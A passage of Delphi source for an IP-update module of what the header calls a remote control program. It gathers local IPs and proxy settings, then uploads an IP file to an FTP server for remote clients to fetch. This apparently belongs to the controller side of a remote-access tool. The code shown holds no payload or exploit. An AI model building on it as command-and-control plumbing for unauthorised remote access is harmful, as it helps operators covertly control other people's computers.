upip.pas

不错的远程控制程序

unit UpIp;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls,   ImgList, StdCtrls, mmsystem, Mask, Shellapi,  WinInet ,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
   Buttons, ExtCtrls, Psock, NMFtp,Winsock;

type  // 本地代理服务器设置信息。
  TProxyServerInf = record
    httpName: string;
    httpport: integer;
    SocksName: string;
    Socksport: integer;
  end;

type
  TUpIpDate = class(TForm)
    IdHTTP1: TIdHTTP;
    IdHTTP2: TIdHTTP;
    NMFTP1: TNMFTP;
    Label1: TLabel;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    Label2: TLabel;
    FTPAdder: TEdit;
    Label3: TLabel;
    FTPPort: TEdit;
    Label4: TLabel;
    FTPUser: TEdit;
    Label5: TLabel;
    FTPPass1: TEdit;
    Label6: TLabel;
    FTPPass2: TEdit;
    Label7: TLabel;
    IpFileEdit: TEdit;
    Label8: TLabel;
    IPAddEdit: TComboBox;
    Label9: TLabel;
    httpEdit: TEdit;
    RadioBox1: TCheckBox;
    FtpButton1: TBitBtn;
    Splitter1: TSplitter;
    Label10: TLabel;
    Label12: TLabel;
    Label13: TLabel;
    GroupBox1: TGroupBox;
    Label15: TLabel;
    XwEdit: TEdit;
    Label17: TLabel;
    Xwuser: TEdit;
    Label18: TLabel;
    Xwpass: TEdit;
    Label19: TLabel;
    XWComboBox: TComboBox;
    XWButton: TBitBtn;
    Label11: TLabel;
    CheckRadioBox1: TCheckBox;
    procedure AfterGetFile(Sender: TObject);
    procedure FtpButton1Click(Sender: TObject);
    procedure XWButtonClick(Sender: TObject);
    procedure Label11Click(Sender: TObject);
    procedure NMFTP1Success(Trans_Type: TCmdType);
    procedure NMFTP1Connect(Sender: TObject);
    procedure NMFTP1ConnectionFailed(Sender: TObject);
    procedure NMFTP1Error(Sender: TComponent; Errno: Word; Errmsg: String);
    procedure NMFTP1Status(Sender: TComponent; Status: String);
    procedure FormShow(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Label10Click(Sender: TObject);
    procedure Label12Click(Sender: TObject);
    procedure CheckRadioBox1Click(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
    i: integer;
    procedure Get_UserFile;
  function Update(Body,UpdateS:String):Boolean;
  end;



var
  UpIpDate: TUpIpDate;

implementation
uses UnitMain;
{$R *.dfm}


//更新IP－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
procedure GetLocalIPtoHttp;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  try
    UpIpDate.IPAddEdit.Items.Clear;
  except
  end;
  while pptr^[I] <> nil do begin
    try
        UpIpDate.IPAddEdit.Items.Add ('http://' + StrPas(inet_ntoa(pptr^[I]^)) + ':' +  UnitMain.Main.Myinifile.Readstring('LocalPort', 'port','') + '/wwwroot') ;
        UpIpDate.XWComboBox.Items.Add('http://' + StrPas(inet_ntoa(pptr^[I]^)) + ':' + UnitMain.Main.Myinifile.Readstring('LocalPort', 'port','') + '/wwwroot')
    except
    end;
    inc(i);
  end;
  wsacleanup;
end;


function CenterStr(Src:String;Before,After:String):String;
  { 这个函数用来分离两个字符串中间的字符串，
    例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;


function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
 ProxyInfo: PInternetProxyInfo;
 Buffer: Pointer;
 BUF_SIZE: DWORD;
 Temp,Tmpip:String;
 i:integer;
begin
 Result := False;
 try
 BUF_SIZE:=1024;
 GetMem(Buffer,BUF_SIZE);
 ProxyStr.httpName :='';
 ProxyStr.httpport :=0;
 ProxyStr.SocksName :='';
 ProxyStr.Socksport :=0;
   if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
   begin
     ProxyInfo := Buffer;
     if ProxyInfo^.lpszProxy<>'' then
     begin
       Temp:= ProxyInfo^.lpszProxy+' ';
       //HgzFsbSVip.Memo1.Lines.Text:=Temp;

       i:=pos('http=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'http=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.httpName:=Copy(Tmpip,1,i-1);
               ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       i:=pos('socks=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'socks=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
               ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
         begin
           i:=pos(':',Temp);
           if i>0 then
             begin
               Delete(Temp,Length(Temp),1);
               ProxyStr.httpName :=Copy(Temp,1,i-1);
               ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
             end;
         end;
       //HgzFsbSVip.Memo1.Lines.Add('HTTP:'+ProxyStr.httpName);
       //HgzFsbSVip.Memo1.Lines.Add('PORT:'+inttoStr(ProxyStr.httpport));
       
       Result := True;
     end else begin
       Result := False;
     end;
   end Else begin
     Result := False;
   end;
 finally
   FreeMem(Buffer);
 end;
end;

procedure TUpIpDate.Get_UserFile;
var
   IPFile:String;
   F: textfile;
begin
  try
    IPFile := ExtractFilePath(Paramstr(0)) + 'FTPIp.dat';
    AssignFile(F,IPFile);
    Rewrite(F);{F为TextFile类型}
    WriteLn(F,IPAddEdit.Text);
    CloseFile(F);
  except
    Label1.Caption:='写FTP上传文件出错.';
    Exit;
  end;

  with NMFTP1 do
    begin
      Host := FTPAdder.Text;
      Port := Strtoint(FTPPort.Text);// Standardport
      TimeOut := 20000; // 20 sek Versuch
      UserID := FTPUser.Text;
      Password := FTPPass1.Text;
      Connect;
      Mode(MODE_IMAGE);
      Upload(IPFile,IpFileEdit.Text);
    end;



{   GetThread := TFTPThreadEx.Create(True);

   with GetThread do begin
      LocalFile   := IPFile;
      RemoteFile  := IpFileEdit.Text;
      Host        := FTPAdder.Text;
      FtpPorts    := Strtoint(FTPPort.Text);
      UserName    := FTPUser.Text;
      Password    := FTPPass1.Text;
      FTPMode     := FtpSend;
      StatProc    := FTPStatus;
      OnTerminate := AfterGetFile;
      NeedSave    := DoSave;
   end;
   GetThread.Resume; }
end;

procedure TUpIpDate.AfterGetFile(Sender: TObject);
var
Temp:String;
begin
try
  if httpEdit.Text<>'' then
  begin
    Temp:=IdHTTP1.Get(httpEdit.Text);
    if pos(IPAddEdit.Text,Temp)>0 then
      begin
        Label1.Caption:='FTP更新IP成功.';
        {  if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;
            end;  }
      end else begin
        Label1.Caption:='FTP更新IP完成.但Http访问无效.';
      end;
  end else begin
        Label1.Caption:='FTP更新IP成功.';
         { if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;